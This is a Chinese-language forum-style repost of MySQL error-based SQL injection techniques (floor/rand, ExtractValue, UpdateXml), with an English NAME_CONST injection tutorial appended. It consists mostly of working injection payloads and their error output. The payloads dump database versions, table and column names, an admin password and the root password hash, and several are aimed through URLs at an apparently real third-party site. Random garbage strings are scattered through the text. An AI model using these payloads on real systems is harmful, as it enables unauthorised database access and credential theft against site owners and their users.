mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
$ n6 p$ I4 C0 \5 c% w5 K, e首先进行正常查询：

mysql> select * from article where id = 1;
! t1 W- @, {; G  A+—-+——-+———+
| id | title | content |
; F7 p8 a) ?1 Q$ l+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
9 j# F9 H0 p( t8 j3 @ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
* Z' a7 U4 O9 y( V1 t4 G$ [+ a例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
( P- Y. y! _% n0 L. @+ QERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

- \9 A! ^, L& \! C
0 J: e' q9 A3 V# v* B: Q

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

5 f; v5 _$ r& @9 kErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
- `' D" _4 N5 h1 ^+ d
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
4 K2 n+ s: V3 x( \" x' XIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
" G# |! c3 U9 h( M4 p4 F0 K1 ]8 w
* Y: U) i4 B0 y3 {( q/ U2 @7 L
相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

6 a% P4 Y: z6 CCode:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)

% x: N) \1 g  e
# F$ s+ |5 x- a
3 o6 R' R+ m- T! h: _|---------------|
|     TEST      |
|               |
|---------------|
|       1       |
|               |
|---------------|


2 I* Q9 q' s: n% W5 g/ i" o: M. l& M7 N5 i

( y9 p$ b" b3 |' _http://dev.mysql.com/doc/refman/5.0/en/m...name-const
: f* l- ]3 @' t4 |7 PIntro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
+ c3 g% S5 W3 k. z
Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
9 K/ o6 F) ^% _* Z1 U0 z


: W. e" q+ n& t  V0 l
3 N# b# N2 n- ?' @* r
/ F- {+ V* c5 w( C" H: ^Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
  v2 P9 A: A* u$ Y

, y2 u7 A$ M: A( T0 X8 |( QVAR = Your MySQL variable.

4 J, T/ T7 P8 b; CMySQL 5.1.3 Server System Variables
1 Y# u8 F: b  E/ }3 w
Let's try it out on my site..

Code:
5 q& [/ m& y9 H* ]0 D  shttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
) |1 M1 l8 ^; R
& [, u9 m  ?6 D) _1 Y0 z- q! CErroruplicate column name '5.0.27-community-nt'
5 [( ^6 U* T1 M

" k& k2 {1 [* J' k
& n1 h* A( T9 h- _, y1 t
4 C$ C! p. k' Z! g. h: J: d% |) ^! J
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
; U# i; |& X. N" Z
Data Extraction

& z4 ^% X2 e* T( i4 e' S2 h. ^, b0 dCode:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

) n" u+ H( x! Q$ P; c
+ V& c' n8 [4 ^6 T7 JWe should get a duplicate column 1 error...

5 V3 `4 G- H3 ?  U) |2 S1 ^Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
( s5 @5 J$ c. I- ^8 ]* h# M
: b: Q. n5 b4 @7 S/ d% f' JErroruplicate column name '1
0 m$ h( s/ ]0 n4 _/ x# i0 V2 @* i. g

! e/ A4 H# h9 \3 |: F% k1 |6 y
9 r2 t2 n3 W# Y) O: {

  R3 x4 r2 z+ n0 u
3 d9 e3 \2 c: Z  W0 zNow let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

# \( @3 T: ~1 T% y/ i
) H% [+ U6 r, i  ?5 C! CLet's see if it works here, if it does, we can go on and finish the job.
0 R% s$ F' i; O) J0 v8 _' y3 o
8 ~5 g: F' F( r8 V% o4 ICode:
3 n4 w) \) d* {% _- P# Vhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

2 D$ C# W5 I9 \! c- R/ m% {' m/ J# n
) B/ Y3 u" {. ]; J& v& m5 h( t, NErroruplicate column name 'com_admanage

7 M2 h4 i6 c: f& N& r
& v9 h% M2 ^% X  X' Y6 O



Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
) }7 f, O! f6 c0 W3 S, G; K
Let's get the columns out of the user table..
/ _2 H6 x8 w6 L$ B7 l
; ]# Y4 _& P- r+ sCode:
% j; J; |4 p  z5 O  x1 x5 d6 V& E+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
& [5 i5 r+ g0 M5 m

+ |& C8 X- P: s7 W/ y! Q4 ~So mine looks like this, and I get the duplicate column name 'Host'.
+ V, _/ k7 e% W5 M4 V- g
$ }: y6 _5 h% i8 x+ E$ x$ GCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
, L( S( B6 L* C( a2 I4 c


3 N' U0 E9 w4 l4 R3 b4 b' x; O: _


7 f2 W. x0 G% u' |1 U) o6 kWoot, time to finish this bitch off.
% f4 _( a/ J3 k0 h) ]: p) m& L) w
# x' Q. d) V$ W3 p. FCode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
) v4 x7 R# M! h3 D7 U
% @# E. {5 `1 {" ?
So mine looks like this...

Code:
6 W3 E' ~; \. a6 \4 x; y! mhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
) [/ ~3 y3 g/ P# s5 }4 \
, T/ R) a3 P  qErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
% P( c0 Q9 ~. W( }

0 w% h& [9 p. }. u5 C: C' ^! E: j


" ]1 L: a/ m  C# C
( T- T9 ?3 o) vAnd there we have it, thanks for reading.
' p8 {) m. P  T; ~, i1 t5 p1 i